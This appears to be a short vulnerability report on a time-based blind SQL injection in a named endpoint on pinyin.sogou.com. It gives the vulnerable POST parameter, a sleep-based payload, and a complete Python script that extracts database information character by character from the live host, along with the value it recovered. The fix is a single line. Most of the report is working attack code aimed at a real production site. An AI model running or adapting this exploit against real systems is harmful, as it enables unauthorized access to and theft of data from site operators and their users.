Sogou SQL injection 2: MySQL injection on pinyin.sogou.com

Sogou SQL injection 2: MySQL injection on pinyin.sogou.com

Second, MySQL injection on pinyin.sogu.com

 

The injection point is located:

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POST http://pinyin.sogou.com/dict/ywz/ajax/make_dict.php



Custom_id_list = if (0, sleep (1), 0) & ywz_id_list = 427

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The custom_id_list parameter is not filtered and can be injected.

Several lines of python scripts to explain user ():
 

import httplibimport timeimport stringimport sysimport randomimport urllibheaders = {    'Content-Type':'application/x-www-form-urlencoded',    'Cookie': '',    'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',}payloads = list(string.ascii_lowercase)payloads += list(string.ascii_uppercase)for i in range(0,10):    payloads.append(str(i))payloads += ['@','_', '.']print 'Current user() is:'user = ''for i in range(1,24,1):    for payload in payloads:        try:            conn = httplib.HTTPConnection('pinyin.sogou.com', timeout=10)            rand_num = str(random.random())            url = '/dict/ywz/ajax/make_dict.php'            start_time = time.time()            conn.request(method='POST',                         url=url,                         body='custom_id_list=if(ascii(mid(database(),%s,1))=%s,sleep(1),0)&ywz_id_list=427' % (i, ord(payload)),                         headers = headers)            html_doc = conn.getresponse().read()            conn.close()            if time.time() - start_time > 5:                raise Exception('timeout')        except:            user += payload            sys.stdout.write( user + '\r' )            sys.stdout.flush()            break

 

User (): dict_4_1_3
 

 

Solution:

Parameter filtering and necessary escape